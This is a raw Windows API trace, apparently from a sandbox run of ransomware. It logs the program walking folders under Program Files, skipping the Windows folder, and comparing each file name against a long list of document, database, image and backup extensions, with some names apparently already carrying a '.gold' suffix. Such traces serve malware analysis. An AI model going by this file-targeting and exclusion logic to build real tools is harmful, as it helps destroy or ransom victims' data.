lstrcmpiW (lpString1=".ascx", lpString2=".gold") returned -1 [0087.199] lstrlenW (lpString=".asm") returned 4 [0087.199] lstrcmpiW (lpString1=".asm", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".asmx") returned 5 [0087.199] lstrcmpiW (lpString1=".asmx", lpString2=".gold") returned -1 [0087.199] lstrlenW (lpString=".asp") returned 4 [0087.199] lstrcmpiW (lpString1=".asp", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".aspx") returned 5 [0087.199] lstrcmpiW (lpString1=".aspx", lpString2=".gold") returned -1 [0087.199] lstrlenW (lpString=".asr") returned 4 [0087.199] lstrcmpiW (lpString1=".asr", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".asx") returned 4 [0087.199] lstrcmpiW (lpString1=".asx", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".avi") returned 4 [0087.199] lstrcmpiW (lpString1=".avi", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".avs") returned 4 [0087.199] lstrcmpiW (lpString1=".avs", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".backup") returned 7 [0087.199] lstrcmpiW (lpString1=".backup", lpString2="o].gold") returned -1 [0087.199] lstrlenW (lpString=".bak") returned 4 [0087.199] lstrcmpiW (lpString1=".bak", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".bay") returned 4 [0087.199] lstrcmpiW (lpString1=".bay", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".bd") returned 3 [0087.199] lstrcmpiW (lpString1=".bd", lpString2="old") returned -1 [0087.199] lstrlenW (lpString=".bin") returned 4 [0087.199] lstrcmpiW (lpString1=".bin", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".bmp") returned 4 [0087.199] lstrcmpiW (lpString1=".bmp", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".bz2") returned 4 [0087.199] lstrcmpiW (lpString1=".bz2", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".c") returned 2 [0087.199] lstrcmpiW (lpString1=".c", lpString2="ld") returned -1 [0087.199] lstrlenW (lpString=".cdr") returned 4 [0087.199] lstrcmpiW (lpString1=".cdr", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".cer") returned 4 [0087.199] lstrcmpiW (lpString1=".cer", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".cf") returned 3 [0087.199] lstrcmpiW (lpString1=".cf", lpString2="old") returned -1 [0087.199] lstrlenW (lpString=".cfc") returned 4 [0087.199] lstrcmpiW (lpString1=".cfc", lpString2="gold") returned -1 [0087.199] lstrlenW (lpString=".cfm") returned 4 [0087.199] lstrcmpiW (lpString1=".cfm", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".cfml") returned 5 [0087.200] lstrcmpiW (lpString1=".cfml", lpString2=".gold") returned -1 [0087.200] lstrlenW (lpString=".cfu") returned 4 [0087.200] lstrcmpiW (lpString1=".cfu", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".chm") returned 4 [0087.200] lstrcmpiW (lpString1=".chm", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".cin") returned 4 [0087.200] lstrcmpiW (lpString1=".cin", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".class") returned 6 [0087.200] lstrcmpiW (lpString1=".class", lpString2="].gold") returned -1 [0087.200] lstrlenW (lpString=".clx") returned 4 [0087.200] lstrcmpiW (lpString1=".clx", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".config") returned 7 [0087.200] lstrcmpiW (lpString1=".config", lpString2="o].gold") returned -1 [0087.200] lstrlenW (lpString=".cpp") returned 4 [0087.200] lstrcmpiW (lpString1=".cpp", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".cr2") returned 4 [0087.200] lstrcmpiW (lpString1=".cr2", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".crt") returned 4 [0087.200] lstrcmpiW (lpString1=".crt", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".crw") returned 4 [0087.200] lstrcmpiW (lpString1=".crw", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".cs") returned 3 [0087.200] lstrcmpiW (lpString1=".cs", lpString2="old") returned -1 [0087.200] lstrlenW (lpString=".css") returned 4 [0087.200] lstrcmpiW (lpString1=".css", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".csv") returned 4 [0087.200] lstrcmpiW (lpString1=".csv", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".cub") returned 4 [0087.200] lstrcmpiW (lpString1=".cub", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".dae") returned 4 [0087.200] lstrcmpiW (lpString1=".dae", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".dat") returned 4 [0087.200] lstrcmpiW (lpString1=".dat", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".db") returned 3 [0087.200] lstrcmpiW (lpString1=".db", lpString2="old") returned -1 [0087.200] lstrlenW (lpString=".dbf") returned 4 [0087.200] lstrcmpiW (lpString1=".dbf", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".dbx") returned 4 [0087.200] lstrcmpiW (lpString1=".dbx", lpString2="gold") returned -1 [0087.200] lstrlenW (lpString=".dc3") returned 4 [0087.201] lstrcmpiW (lpString1=".dc3", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dcm") returned 4 [0087.201] lstrcmpiW (lpString1=".dcm", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dcr") returned 4 [0087.201] lstrcmpiW (lpString1=".dcr", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".der") returned 4 [0087.201] lstrcmpiW (lpString1=".der", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dib") returned 4 [0087.201] lstrcmpiW (lpString1=".dib", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dic") returned 4 [0087.201] lstrcmpiW (lpString1=".dic", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dif") returned 4 [0087.201] lstrcmpiW (lpString1=".dif", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".divx") returned 5 [0087.201] lstrcmpiW (lpString1=".divx", lpString2=".gold") returned -1 [0087.201] lstrlenW (lpString=".djvu") returned 5 [0087.201] lstrcmpiW (lpString1=".djvu", lpString2=".gold") returned -1 [0087.201] lstrlenW (lpString=".dng") returned 4 [0087.201] lstrcmpiW (lpString1=".dng", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".doc") returned 4 [0087.201] lstrcmpiW (lpString1=".doc", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".docm") returned 5 [0087.201] lstrcmpiW (lpString1=".docm", lpString2=".gold") returned -1 [0087.201] lstrlenW (lpString=".docx") returned 5 [0087.201] lstrcmpiW (lpString1=".docx", lpString2=".gold") returned -1 [0087.201] lstrlenW (lpString=".dot") returned 4 [0087.201] lstrcmpiW (lpString1=".dot", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dotm") returned 5 [0087.201] lstrcmpiW (lpString1=".dotm", lpString2=".gold") returned -1 [0087.201] lstrlenW (lpString=".dotx") returned 5 [0087.201] lstrcmpiW (lpString1=".dotx", lpString2=".gold") returned -1 [0087.201] lstrlenW (lpString=".dpx") returned 4 [0087.201] lstrcmpiW (lpString1=".dpx", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dqy") returned 4 [0087.201] lstrcmpiW (lpString1=".dqy", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dsn") returned 4 [0087.201] lstrcmpiW (lpString1=".dsn", lpString2="gold") returned -1 [0087.201] lstrlenW (lpString=".dt") returned 3 [0087.201] lstrcmpiW (lpString1=".dt", lpString2="old") returned -1 [0087.201] lstrlenW (lpString=".dtd") returned 4 [0087.202] lstrcmpiW (lpString1=".dtd", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".dwg") returned 4 [0087.202] lstrcmpiW (lpString1=".dwg", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".dwt") returned 4 [0087.202] lstrcmpiW (lpString1=".dwt", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".dx") returned 3 [0087.202] lstrcmpiW (lpString1=".dx", lpString2="old") returned -1 [0087.202] lstrlenW (lpString=".dxf") returned 4 [0087.202] lstrcmpiW (lpString1=".dxf", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".edml") returned 5 [0087.202] lstrcmpiW (lpString1=".edml", lpString2=".gold") returned -1 [0087.202] lstrlenW (lpString=".efd") returned 4 [0087.202] lstrcmpiW (lpString1=".efd", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".elf") returned 4 [0087.202] lstrcmpiW (lpString1=".elf", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".emf") returned 4 [0087.202] lstrcmpiW (lpString1=".emf", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".emz") returned 4 [0087.202] lstrcmpiW (lpString1=".emz", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".epf") returned 4 [0087.202] lstrcmpiW (lpString1=".epf", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".eps") returned 4 [0087.202] lstrcmpiW (lpString1=".eps", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".epsf") returned 5 [0087.202] lstrcmpiW (lpString1=".epsf", lpString2=".gold") returned -1 [0087.202] lstrlenW (lpString=".epsp") returned 5 [0087.202] lstrcmpiW (lpString1=".epsp", lpString2=".gold") returned -1 [0087.202] lstrlenW (lpString=".erf") returned 4 [0087.202] lstrcmpiW (lpString1=".erf", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".exr") returned 4 [0087.202] lstrcmpiW (lpString1=".exr", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".f4v") returned 4 [0087.202] lstrcmpiW (lpString1=".f4v", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".fido") returned 5 [0087.202] lstrcmpiW (lpString1=".fido", lpString2=".gold") returned -1 [0087.202] lstrlenW (lpString=".flm") returned 4 [0087.202] lstrcmpiW (lpString1=".flm", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".flv") returned 4 [0087.202] lstrcmpiW (lpString1=".flv", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".frm") returned 4 [0087.202] lstrcmpiW (lpString1=".frm", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".fxg") returned 4 [0087.202] lstrcmpiW (lpString1=".fxg", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".geo") returned 4 [0087.202] lstrcmpiW (lpString1=".geo", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".gif") returned 4 [0087.202] lstrcmpiW (lpString1=".gif", lpString2="gold") returned -1 [0087.202] lstrlenW (lpString=".grs") returned 4 [0087.202] lstrcmpiW (lpString1=".grs", lpString2="gold") returned -1 [0087.500] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.500] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0087.500] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0087.500] FindClose (in: hFindFile=0x562470 | out: hFindFile=0x562470) returned 1 [0087.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4031060 | out: hHeap=0x4f0000) returned 1 [0087.501] FindNextFileW (in: hFindFile=0x5622b0, lpFindFileData=0x379f310 | out: lpFindFileData=0x379f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0087.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned 56 [0087.501] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned 1 [0087.501] lstrlenW (lpString="el-GR") returned 5 [0087.501] lstrcmpiW (lpString1="C:\\Windows", lpString2="el-GR") returned -1 [0087.501] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4031060 [0087.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR") returned 56 [0087.501] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x562470 [0087.501] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.501] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0087.501] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.501] lstrlenW (lpString=".1cd") returned 4 [0087.501] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.501] lstrlenW (lpString=".3ds") returned 4 [0087.501] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0087.501] lstrlenW (lpString=".3fr") returned 4 [0087.501] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0087.501] lstrlenW (lpString=".3g2") returned 4 [0087.501] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0087.501] lstrlenW (lpString=".3gp") returned 4 [0087.501] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0087.501] lstrlenW (lpString=".7z") returned 3 [0087.501] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.501] lstrlenW (lpString=".accda") returned 6 [0087.501] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0087.501] lstrlenW (lpString=".accdb") returned 6 [0087.501] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0087.501] lstrlenW (lpString=".accdc") returned 6 [0087.501] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0087.501] lstrlenW (lpString=".accde") returned 6 [0087.501] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0087.501] lstrlenW (lpString=".accdt") returned 6 [0087.502] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0087.502] lstrlenW (lpString=".accdw") returned 6 [0087.502] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0087.502] lstrlenW (lpString=".adb") returned 4 [0087.502] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".adp") returned 4 [0087.502] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".ai") returned 3 [0087.502] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0087.502] lstrlenW (lpString=".ai3") returned 4 [0087.502] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".ai4") returned 4 [0087.502] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".ai5") returned 4 [0087.502] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".ai6") returned 4 [0087.502] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".ai7") returned 4 [0087.502] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".ai8") returned 4 [0087.502] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".anim") returned 5 [0087.502] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0087.502] lstrlenW (lpString=".arw") returned 4 [0087.502] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".as") returned 3 [0087.502] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0087.502] lstrlenW (lpString=".asa") returned 4 [0087.502] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".asc") returned 4 [0087.502] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".ascx") returned 5 [0087.502] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0087.502] lstrlenW (lpString=".asm") returned 4 [0087.502] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".asmx") returned 5 [0087.502] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0087.502] lstrlenW (lpString=".asp") returned 4 [0087.502] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".aspx") returned 5 [0087.502] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0087.502] lstrlenW (lpString=".asr") returned 4 [0087.502] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".asx") returned 4 [0087.502] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".avi") returned 4 [0087.502] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".avs") returned 4 [0087.502] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".backup") returned 7 [0087.502] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0087.502] lstrlenW (lpString=".bak") returned 4 [0087.502] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".bay") returned 4 [0087.502] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0087.502] lstrlenW (lpString=".bd") returned 3 [0087.503] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0087.503] lstrlenW (lpString=".bin") returned 4 [0087.503] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".bmp") returned 4 [0087.503] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".bz2") returned 4 [0087.503] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".c") returned 2 [0087.503] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0087.503] lstrlenW (lpString=".cdr") returned 4 [0087.503] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".cer") returned 4 [0087.503] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".cf") returned 3 [0087.503] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0087.503] lstrlenW (lpString=".cfc") returned 4 [0087.503] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".cfm") returned 4 [0087.503] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".cfml") returned 5 [0087.503] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0087.503] lstrlenW (lpString=".cfu") returned 4 [0087.503] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".chm") returned 4 [0087.503] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".cin") returned 4 [0087.503] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".class") returned 6 [0087.503] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0087.503] lstrlenW (lpString=".clx") returned 4 [0087.503] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".config") returned 7 [0087.503] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0087.503] lstrlenW (lpString=".cpp") returned 4 [0087.503] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".cr2") returned 4 [0087.503] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".crt") returned 4 [0087.503] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".crw") returned 4 [0087.503] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".cs") returned 3 [0087.503] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0087.503] lstrlenW (lpString=".css") returned 4 [0087.503] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".csv") returned 4 [0087.503] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".cub") returned 4 [0087.503] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".dae") returned 4 [0087.503] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".dat") returned 4 [0087.503] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0087.503] lstrlenW (lpString=".db") returned 3 [0087.503] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0087.503] lstrlenW (lpString=".dbf") returned 4 [0087.504] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dbx") returned 4 [0087.504] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dc3") returned 4 [0087.504] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dcm") returned 4 [0087.504] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dcr") returned 4 [0087.504] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".der") returned 4 [0087.504] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dib") returned 4 [0087.504] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dic") returned 4 [0087.504] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dif") returned 4 [0087.504] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".divx") returned 5 [0087.504] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0087.504] lstrlenW (lpString=".djvu") returned 5 [0087.504] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0087.504] lstrlenW (lpString=".dng") returned 4 [0087.504] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".doc") returned 4 [0087.504] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".docm") returned 5 [0087.504] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0087.504] lstrlenW (lpString=".docx") returned 5 [0087.504] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.504] lstrlenW (lpString=".dot") returned 4 [0087.504] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dotm") returned 5 [0087.504] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0087.504] lstrlenW (lpString=".dotx") returned 5 [0087.504] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0087.504] lstrlenW (lpString=".dpx") returned 4 [0087.504] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dqy") returned 4 [0087.504] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dsn") returned 4 [0087.504] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dt") returned 3 [0087.504] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0087.504] lstrlenW (lpString=".dtd") returned 4 [0087.504] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dwg") returned 4 [0087.504] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dwt") returned 4 [0087.504] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".dx") returned 3 [0087.504] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0087.504] lstrlenW (lpString=".dxf") returned 4 [0087.504] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0087.504] lstrlenW (lpString=".edml") returned 5 [0087.504] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0087.504] lstrlenW (lpString=".efd") returned 4 [0087.505] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".elf") returned 4 [0087.505] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".emf") returned 4 [0087.505] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".emz") returned 4 [0087.505] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".epf") returned 4 [0087.505] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".eps") returned 4 [0087.505] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".epsf") returned 5 [0087.505] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0087.505] lstrlenW (lpString=".epsp") returned 5 [0087.505] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0087.505] lstrlenW (lpString=".erf") returned 4 [0087.505] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".exr") returned 4 [0087.505] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0087.505] lstrlenW (lpString=".f4v") returned 4 [0087.505] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0087.505] 